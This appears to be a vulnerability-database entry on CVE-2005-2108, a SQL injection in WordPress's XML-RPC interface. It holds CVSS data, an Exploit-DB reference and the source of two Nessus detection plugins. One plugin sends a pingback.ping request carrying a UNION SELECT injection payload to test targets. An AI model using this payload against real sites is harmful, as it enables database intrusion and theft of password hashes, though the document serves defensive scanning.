Vulnerabilities > CVE-2005-2108 - SQL-Injection vulnerability in WordPress
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
PARTIAL Integrity impact
PARTIAL Availability impact
PARTIAL Summary
SQL injection vulnerability in XMLRPC server in WordPress 1.5.1.2 and earlier allows remote attackers to execute arbitrary SQL commands via input that is not filtered in the HTTP_RAW_POST_DATA variable, which stores the data in an XML file.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 7 |
Exploit-Db
description | Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit. CVE-2005-2108. Webapps exploit for php platform |
id | EDB-ID:1077 |
last seen | 2016-01-31 |
modified | 2005-06-30 |
published | 2005-06-30 |
reporter | James Bercegay |
source | https://www.exploit-db.com/download/1077/ |
title | WordPress <= 1.5.1.2 - xmlrpc Interface SQL Injection Exploit |
Nessus
NASL family FreeBSD Local Security Checks NASL id FREEBSD_PKG_DCA0A345ED8111D983100001020EED82.NASL description GulfTech Security Research reports : There are a number of vulnerabilities in WordPress that may allow an attacker to ultimately run arbitrary code on the vulnerable system. These vulnerabilities include SQL Injection, Cross Site Scripting, and also issues that may aid an attacker in social engineering. last seen 2020-06-01 modified 2020-06-02 plugin id 19142 published 2005-07-13 reporter This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/19142 title FreeBSD : wordpress -- multiple vulnerabilities (dca0a345-ed81-11d9-8310-0001020eed82) code #%NASL_MIN_LEVEL 80502 # # (C) Tenable Network Security, Inc. # # The descriptive text and package checks in this plugin were # extracted from the FreeBSD VuXML database : # # Copyright 2003-2018 Jacques Vidrine and contributors # # Redistribution and use in source (VuXML) and 'compiled' forms (SGML, # HTML, PDF, PostScript, RTF and so forth) with or without modification, # are permitted provided that the following conditions are met: # 1. Redistributions of source code (VuXML) must retain the above # copyright notice, this list of conditions and the following # disclaimer as the first lines of this file unmodified. # 2. Redistributions in compiled form (transformed to other DTDs, # published online in any format, converted to PDF, PostScript, # RTF and other formats) must reproduce the above copyright # notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION, # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # include("compat.inc"); if (description) { script_id(19142); script_version("1.16"); script_cvs_date("Date: 2019/08/02 13:32:38"); script_cve_id("CVE-2005-2107", "CVE-2005-2108", "CVE-2005-2109", "CVE-2005-2110"); script_name(english:"FreeBSD : wordpress -- multiple vulnerabilities (dca0a345-ed81-11d9-8310-0001020eed82)"); script_summary(english:"Checks for updated package in pkg_info output"); script_set_attribute( attribute:"synopsis", value:"The remote FreeBSD host is missing a security-related update." ); script_set_attribute( attribute:"description", value: "GulfTech Security Research reports : There are a number of vulnerabilities in WordPress that may allow an attacker to ultimately run arbitrary code on the vulnerable system. These vulnerabilities include SQL Injection, Cross Site Scripting, and also issues that may aid an attacker in social engineering." ); # http://marc.theaimsgroup.com/?l=bugtraq&m=112006967221438 script_set_attribute( attribute:"see_also", value:"https://marc.info/?l=bugtraq&m=112006967221438" ); # https://vuxml.freebsd.org/freebsd/dca0a345-ed81-11d9-8310-0001020eed82.html script_set_attribute( attribute:"see_also", value:"http://www.nessus.org/u?cb38334c" ); script_set_attribute(attribute:"solution", value:"Update the affected package."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_attribute(attribute:"plugin_type", value:"local"); script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:wordpress"); script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd"); script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/28"); script_set_attribute(attribute:"patch_publication_date", value:"2005/07/05"); script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/13"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_family(english:"FreeBSD Local Security Checks"); script_dependencies("ssh_get_info.nasl"); script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info"); exit(0); } include("audit.inc"); include("freebsd_package.inc"); if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED); if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD"); if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING); flag = 0; if (pkg_test(save_report:TRUE, pkg:"wordpress<1.5.1.3,1")) flag++; if (flag) { if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get()); else security_hole(0); exit(0); } else audit(AUDIT_HOST_NOT, "affected");
NASL family CGI abuses NASL id WORDPRESS_1512.NASL description The version of WordPress installed on the remote host is affected by a SQL injection vulnerability because the bundled XML-RPC library fails to properly sanitize user-supplied input to the last seen 2020-06-01 modified 2020-06-02 plugin id 18601 published 2005-07-01 reporter This script is Copyright (C) 2005-2018 Tenable Network Security, Inc. source https://www.tenable.com/plugins/nessus/18601 title WordPress < 1.5.1.3 XMLRPC SQL Injection code # # Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(18601); script_version("1.28"); script_cvs_date("Date: 2018/08/15 16:35:42"); script_cve_id("CVE-2005-2108"); script_xref(name:"EDB-ID", value:"1077"); script_name(english:"WordPress < 1.5.1.3 XMLRPC SQL Injection"); script_summary(english:"Checks for SQL injection in xmlrpc.php."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a PHP application that is affected by a SQL injection vulnerability."); script_set_attribute(attribute:"description", value: "The version of WordPress installed on the remote host is affected by a SQL injection vulnerability because the bundled XML-RPC library fails to properly sanitize user-supplied input to the 'xmlrpc.php' script. An attacker can exploit this flaw to launch SQL injection attacks that could lead to disclosure of the administrator's password hash or attacks against the underlying database. Note that the application is reportedly also affected by multiple cross-site scripting (XSS) vulnerabilities, multiple path disclosure vulnerabilities, and a flaw in which a remote attacker can modify the content of the 'forgotten password' message; however, Nessus has not tested for these issues."); # http://web.archive.org/web/20051230035642/http://www.gulftech.org/?node=research&article_id=00085-06282005 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?8ec4b624"); script_set_attribute(attribute:"solution", value:"Upgrade to WordPress version 1.5.1.3 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/29"); script_set_attribute(attribute:"patch_publication_date", value:"2005/06/29"); script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/01"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress"); script_end_attributes(); script_category(ACT_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc."); script_dependencies("wordpress_detect.nasl"); script_require_keys("installed_sw/WordPress", "www/PHP"); script_require_ports("Services/www", 80); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("install_func.inc"); app = "WordPress"; get_install_count(app_name:app, exit_if_zero:TRUE); port = get_http_port(default:80, php:TRUE); install = get_single_install( app_name : app, port : port ); dir = install['path']; install_url = build_url(port:port, qs:dir); # Check whether the script exists. r = http_send_recv3(method: "GET", item:dir + "/xmlrpc.php", port:port, exit_on_fail: TRUE); # If it does... if ("XML-RPC server accepts POST requests only" >< r[2]) { # Find an existing post. res = http_send_recv3(method : "GET", item:dir + "/index.php", port:port, exit_on_fail: TRUE); pat = '/\\?p=([0-9]+)" rel="bookmark"'; matches = egrep(pattern:pat, string:res); if (matches) { foreach match (split(matches)) { match = chomp(match); post = eregmatch(pattern:pat, string:match); if (!isnull(post)) { post = post[1]; # We're only interested in the first post we find. break; } } } # If we have a post, try to exploit the flaw. if (post) { postdata = '<?xml version="1.0"?>' + "<methodCall>" + "<methodName>pingback.ping</methodName>" + "<params>" + # nb: we can only determine success based on whether any # rows were returned. The exploit used here, while # lame, is certain to return one. # nb^2: this only works if the MySQL version supports # UNION (ie, >= 4.0). "<param><value><string>" +SCRIPT_NAME+ "' UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--</string></value></param>" + "<param><value><string>http://" +get_host_name()+ dir + "/?p=" +post+ "#1</string></value></param>" + "<param><value><string>admin</string></value></param>" + "</params>" + "</methodCall>"; r = http_send_recv3(method: "POST", item: dir+"/xmlrpc.php", version: 11, port: port, exit_on_fail: TRUE, content_type: "text/xml", data: postdata); # There's a problem if we see "The pingback has already been registered". if ("The pingback has already been registered" >< r[2]) { security_hole(port); set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE); security_hole(port); exit(0); } } } audit(AUDIT_WEB_APP_NOT_AFFECTED, app, install_url);